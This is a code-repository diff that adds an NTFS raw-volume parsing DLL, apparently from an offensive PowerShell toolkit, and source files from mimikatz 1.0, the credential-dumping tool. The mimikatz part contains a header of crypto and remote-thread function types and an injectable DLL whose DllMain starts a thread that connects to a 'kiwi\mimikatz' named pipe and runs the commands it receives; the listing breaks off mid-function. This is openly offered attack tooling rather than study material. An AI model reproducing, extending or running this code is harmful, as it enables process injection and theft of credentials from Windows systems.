||||
|
||||
if (ie->HasName())
|
||||
seCallBack(ie);
|
||||
|
||||
ie = ieList->FindNextEntry();
|
||||
}
|
||||
}
|
||||
|
||||
// Find a specific FileName from InexRoot described B+ tree
|
||||
__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const
|
||||
{
|
||||
// Start searching from IndexRoot (B+ tree root node)
|
||||
CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
|
||||
if (ir == NULL || !ir->IsFileName())
|
||||
return FALSE;
|
||||
|
||||
CIndexEntryList *ieList = (CIndexEntryList*)ir;
|
||||
CIndexEntry *ie = ieList->FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->HasName())
|
||||
{
|
||||
// Compare name
|
||||
int i = ie->Compare(fileName);
|
||||
if (i == 0)
|
||||
{
|
||||
ieFound = *ie;
|
||||
return TRUE;
|
||||
}
|
||||
else if (i < 0) // fileName is smaller than IndexEntry
|
||||
{
|
||||
// Visit SubNode
|
||||
if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock)
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE; // not found
|
||||
}
|
||||
// Just step forward if fileName is bigger than IndexEntry
|
||||
}
|
||||
else if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock)
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ie = ieList->FindNextEntry();
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Find Data attribute class of
|
||||
const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
|
||||
{
|
||||
const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA);
|
||||
while (data)
|
||||
{
|
||||
if (data->IsUnNamed() && name == NULL) // Unnamed stream
|
||||
break;
|
||||
if ((!data->IsUnNamed()) && name) // Named stream
|
||||
{
|
||||
_TCHAR an[MAX_PATH];
|
||||
if (data->GetAttrName(an, MAX_PATH))
|
||||
{
|
||||
if (_tcscmp(an, name) == 0)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
data = FindNextAttr(ATTR_TYPE_DATA);
|
||||
}
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
// Check if it's deleted or in use
|
||||
__inline BOOL CFileRecord::IsDeleted() const
|
||||
{
|
||||
return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE);
|
||||
}
|
||||
|
||||
// Check if it's a directory
|
||||
__inline BOOL CFileRecord::IsDirectory() const
|
||||
{
|
||||
return FileRecord->Flags & FILE_RECORD_FLAG_DIR;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsReadOnly() const
|
||||
{
|
||||
// Standard Information attribute holds the most updated file time
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsReadOnly() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsHidden() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsHidden() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsSystem() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsSystem() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsCompressed() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsCompressed() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsEncrypted() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsEncrypted() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsSparse() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsSparse() : FALSE;
|
||||
}
|
||||
|
||||
|
||||
///////////////////////////////////////
|
||||
// NTFS Volume Implementation
|
||||
///////////////////////////////////////
|
||||
CNTFSVolume::CNTFSVolume(_TCHAR volume)
|
||||
{
|
||||
hVolume = INVALID_HANDLE_VALUE;
|
||||
VolumeOK = FALSE;
|
||||
MFTRecord = NULL;
|
||||
MFTData = NULL;
|
||||
Version = 0;
|
||||
ClearAttrRawCB();
|
||||
|
||||
if (!OpenVolume(volume))
|
||||
return;
|
||||
|
||||
// Verify NTFS volume version (must >= 3.0)
|
||||
|
||||
CFileRecord vol(this);
|
||||
vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION);
|
||||
if (!vol.ParseFileRecord(MFT_IDX_VOLUME))
|
||||
return;
|
||||
|
||||
vol.ParseAttrs();
|
||||
CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION);
|
||||
if (!vi)
|
||||
return;
|
||||
|
||||
Version = vi->GetVersion();
|
||||
NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version));
|
||||
if (Version < 0x0300) // NT4 ?
|
||||
return;
|
||||
|
||||
#ifdef _DEBUG
|
||||
CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME);
|
||||
if (vn)
|
||||
{
|
||||
char volname[MAX_PATH];
|
||||
if (vn->GetName(volname, MAX_PATH) > 0)
|
||||
{
|
||||
NTFS_TRACE1("NTFS volume name: %s\n", volname);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
VolumeOK = TRUE;
|
||||
|
||||
MFTRecord = new CFileRecord(this);
|
||||
MFTRecord->SetAttrMask(MASK_DATA);
|
||||
if (MFTRecord->ParseFileRecord(MFT_IDX_MFT))
|
||||
{
|
||||
MFTRecord->ParseAttrs();
|
||||
MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA);
|
||||
if (MFTData == NULL)
|
||||
{
|
||||
delete MFTRecord;
|
||||
MFTRecord = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CNTFSVolume::~CNTFSVolume()
|
||||
{
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(hVolume);
|
||||
|
||||
if (MFTRecord)
|
||||
delete MFTRecord;
|
||||
}
|
||||
|
||||
// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB
|
||||
BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
|
||||
{
|
||||
// Verify parameter
|
||||
if (!_istalpha(volume))
|
||||
{
|
||||
NTFS_TRACE("Volume name error, should be like 'C', 'D'\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_TCHAR volumePath[7];
|
||||
_sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume);
|
||||
volumePath[6] = _T('\0');
|
||||
|
||||
hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD num;
|
||||
NTFS_BPB bpb;
|
||||
|
||||
// Read the first sector (boot sector)
|
||||
if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512)
|
||||
{
|
||||
if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0)
|
||||
{
|
||||
// Log important volume parameters
|
||||
|
||||
SectorSize = bpb.BytesPerSector;
|
||||
NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize);
|
||||
|
||||
ClusterSize = SectorSize * bpb.SectorsPerCluster;
|
||||
NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize);
|
||||
|
||||
int sz = (char)bpb.ClustersPerFileRecord;
|
||||
if (sz > 0)
|
||||
FileRecordSize = ClusterSize * sz;
|
||||
else
|
||||
FileRecordSize = 1 << (-sz);
|
||||
NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize);
|
||||
|
||||
sz = (char)bpb.ClustersPerIndexBlock;
|
||||
if (sz > 0)
|
||||
IndexBlockSize = ClusterSize * sz;
|
||||
else
|
||||
IndexBlockSize = 1 << (-sz);
|
||||
NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize);
|
||||
|
||||
MFTAddr = bpb.LCN_MFT * ClusterSize;
|
||||
NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr);
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Volume file system is not NTFS\n");
|
||||
goto IOError;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Read boot sector error\n");
|
||||
goto IOError;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Cannnot open volume %c\n", (char)volume);
|
||||
IOError:
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
CloseHandle(hVolume);
|
||||
hVolume = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Check if Volume is successfully opened
|
||||
__inline BOOL CNTFSVolume::IsVolumeOK() const
|
||||
{
|
||||
return VolumeOK;
|
||||
}
|
||||
|
||||
// Get NTFS volume version
|
||||
__inline WORD CNTFSVolume::GetVersion() const
|
||||
{
|
||||
return Version;
|
||||
}
|
||||
|
||||
// Get File Record count
|
||||
__inline ULONGLONG CNTFSVolume::GetRecordsCount() const
|
||||
{
|
||||
return (MFTData->GetDataSize() / FileRecordSize);
|
||||
}
|
||||
|
||||
// Get BPB information
|
||||
|
||||
__inline DWORD CNTFSVolume::GetSectorSize() const
|
||||
{
|
||||
return SectorSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetClusterSize() const
|
||||
{
|
||||
return ClusterSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetFileRecordSize() const
|
||||
{
|
||||
return FileRecordSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetIndexBlockSize() const
|
||||
{
|
||||
return IndexBlockSize;
|
||||
}
|
||||
|
||||
// Get MFT starting address
|
||||
__inline ULONGLONG CNTFSVolume::GetMFTAddr() const
|
||||
{
|
||||
return MFTAddr;
|
||||
}
|
||||
|
||||
// Install Attribute CallBack routines for the whole Volume
|
||||
BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
|
||||
{
|
||||
DWORD atIdx = ATTR_INDEX(attrType);
|
||||
if (atIdx < ATTR_NUMS)
|
||||
{
|
||||
AttrRawCallBack[atIdx] = cb;
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Clear all Attribute CallBack routines
|
||||
__inline void CNTFSVolume::ClearAttrRawCB()
|
||||
{
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
AttrRawCallBack[i] = NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
========================================================================
|
||||
DYNAMIC LINK LIBRARY : NTFSParserDLL Project Overview
|
||||
========================================================================
|
||||
|
||||
AppWizard has created this NTFSParserDLL DLL for you.
|
||||
|
||||
This file contains a summary of what you will find in each of the files that
|
||||
make up your NTFSParserDLL application.
|
||||
|
||||
|
||||
NTFSParserDLL.vcxproj
|
||||
This is the main project file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the version of Visual C++ that generated the file, and
|
||||
information about the platforms, configurations, and project features selected with the
|
||||
Application Wizard.
|
||||
|
||||
NTFSParserDLL.vcxproj.filters
|
||||
This is the filters file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the association between the files in your project
|
||||
and the filters. This association is used in the IDE to show grouping of files with
|
||||
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
|
||||
"Source Files" filter).
|
||||
|
||||
NTFSParserDLL.cpp
|
||||
This is the main DLL source file.
|
||||
|
||||
When created, this DLL does not export any symbols. As a result, it
|
||||
will not produce a .lib file when it is built. If you wish this project
|
||||
to be a project dependency of some other project, you will either need to
|
||||
add code to export some symbols from the DLL so that an export library
|
||||
will be produced, or you can set the Ignore Input Library property to Yes
|
||||
on the General propert page of the Linker folder in the project's Property
|
||||
Pages dialog box.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other standard files:
|
||||
|
||||
StdAfx.h, StdAfx.cpp
|
||||
These files are used to build a precompiled header (PCH) file
|
||||
named NTFSParserDLL.pch and a precompiled types file named StdAfx.obj.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other notes:
|
||||
|
||||
AppWizard uses "TODO:" comments to indicate parts of the source code you
|
||||
should add to or customize.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
/*
|
||||
*
|
||||
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
//
|
||||
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
|
||||
|
||||
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||
#include "stdafx.h"
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// NTFSParserDLL.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
|
|
@ -0,0 +1,18 @@
|
|||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||
// Windows Header Files:
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
||||
|
|
@ -0,0 +1,128 @@
|
|||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#pragma warning(disable:4530)
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <ntsecapi.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
using namespace std;
|
||||
|
||||
#define SECURITY_WIN32
|
||||
#define PAGE_SIZE 0x1000
|
||||
#define MAX_DOMAIN_LEN 24
|
||||
#define MAX_USERNAME_LEN 24
|
||||
|
||||
#define MIMIKATZ L"mimikatz"
|
||||
#ifdef _M_X64
|
||||
#define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)"
|
||||
#else ifdef
|
||||
#define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)"
|
||||
#endif
|
||||
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)
|
||||
#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)
|
||||
#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)
|
||||
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
|
||||
#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
|
||||
|
||||
#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;}
|
||||
|
||||
typedef bool (* PKIWI_LOCAL_COMMAND) (vector<wstring> * arguments);
|
||||
|
||||
typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND {
|
||||
PKIWI_LOCAL_COMMAND ptrCommand;
|
||||
wstring commandName;
|
||||
wstring commandHelp;
|
||||
_KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {}
|
||||
_KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {}
|
||||
} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND;
|
||||
|
||||
typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE {
|
||||
wstring module;
|
||||
wstring description;
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> commandes;
|
||||
_KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {}
|
||||
} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE;
|
||||
|
||||
typedef struct _CLIENT_ID {
|
||||
PVOID UniqueProcess;
|
||||
PVOID UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef const ULONG CLONG;
|
||||
typedef const UNICODE_STRING *PCUNICODE_STRING;
|
||||
typedef STRING OEM_STRING;
|
||||
typedef PSTRING POEM_STRING;
|
||||
typedef CONST STRING* PCOEM_STRING;
|
||||
|
||||
/* System* */
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE hash[16]);
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE hash[16]);
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]);
|
||||
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]);
|
||||
/* CNG */
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput);
|
||||
typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer);
|
||||
typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer);
|
||||
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags);
|
||||
typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey);
|
||||
typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags);
|
||||
|
||||
/* Rtl* */
|
||||
#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart))
|
||||
typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId);
|
||||
typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString);
|
||||
typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString);
|
||||
typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString);
|
||||
typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
|
||||
typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct);
|
||||
typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize);
|
||||
typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
|
||||
|
||||
typedef struct _RTL_BALANCED_LINKS {
|
||||
struct _RTL_BALANCED_LINKS *Parent;
|
||||
struct _RTL_BALANCED_LINKS *LeftChild;
|
||||
struct _RTL_BALANCED_LINKS *RightChild;
|
||||
CHAR Balance;
|
||||
UCHAR Reserved[3];
|
||||
} RTL_BALANCED_LINKS;
|
||||
typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS;
|
||||
|
||||
typedef enum _RTL_GENERIC_COMPARE_RESULTS {
|
||||
GenericLessThan,
|
||||
GenericGreaterThan,
|
||||
GenericEqual
|
||||
} RTL_GENERIC_COMPARE_RESULTS;
|
||||
|
||||
typedef struct _RTL_AVL_TABLE {
|
||||
RTL_BALANCED_LINKS BalancedRoot;
|
||||
PVOID OrderedPointer;
|
||||
ULONG WhichOrderedElement;
|
||||
ULONG NumberGenericTableElements;
|
||||
ULONG DepthOfTree;
|
||||
PRTL_BALANCED_LINKS RestartKey;
|
||||
ULONG DeleteCount;
|
||||
PRTL_AVL_COMPARE_ROUTINE CompareRoutine;
|
||||
PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine;
|
||||
PRTL_AVL_FREE_ROUTINE FreeRoutine;
|
||||
PVOID TableContext;
|
||||
} RTL_AVL_TABLE, *PRTL_AVL_TABLE;
|
||||
|
After Width: | Height: | Size: 4.2 KiB |
|
After Width: | Height: | Size: 9.4 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 1.1 KiB |
|
After Width: | Height: | Size: 4.2 KiB |
|
After Width: | Height: | Size: 9.4 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 4.2 KiB |
|
After Width: | Height: | Size: 9.4 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
|
@ -0,0 +1,139 @@
|
|||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "kmodel.h"
|
||||
|
||||
HMODULE g_hModule = NULL;
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
|
||||
{
|
||||
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
|
||||
{
|
||||
g_hModule = hModule;
|
||||
|
||||
HANDLE hThread = CreateThread(NULL, 0, &ThreadProc, NULL, 0, NULL);
|
||||
if(hThread && hThread != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return CloseHandle(hThread);
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lpParameter)
|
||||
{
|
||||
mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
|
||||
|
||||
bool succes = false;
|
||||
for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++)
|
||||
{
|
||||
succes = monCommunicator->createClient();
|
||||
if(!succes)
|
||||
{
|
||||
Sleep(3000);
|
||||
}
|
||||
}
|
||||
|
||||
if(succes)
|
||||
{
|
||||
ptrFunctionString maFonctionString = reinterpret_cast<ptrFunctionString>(GetProcAddress(g_hModule, "getDescription"));
|
||||
|
||||
wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi";
|
||||
if(maFonctionString)
|
||||
{
|
||||
wstring * maDescription = new wstring();
|
||||
if(maFonctionString(maDescription))
|
||||
{
|
||||
monBuffer.append(L"\n\n");
|
||||
monBuffer.append(*maDescription);
|
||||
}
|
||||
delete maDescription;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if(monCommunicator->writeToPipe(monBuffer))
|
||||
{
|
||||
for(;;)
|
||||
{
|
||||
if(monCommunicator->readFromPipe(monBuffer))
|
||||
{
|
||||
wstring fonction = monBuffer;
|
||||
vector<wstring> arguments;
|
||||
|
||||
size_t monIndex = fonction.find(L' ');
|
||||
|
||||
if(monIndex != wstring::npos)
|
||||
{
|
||||
arguments = mod_parseur::parse(fonction.substr(monIndex + 1));
|
||||
fonction = fonction.substr(0, monIndex);
|
||||
}
|
||||
|
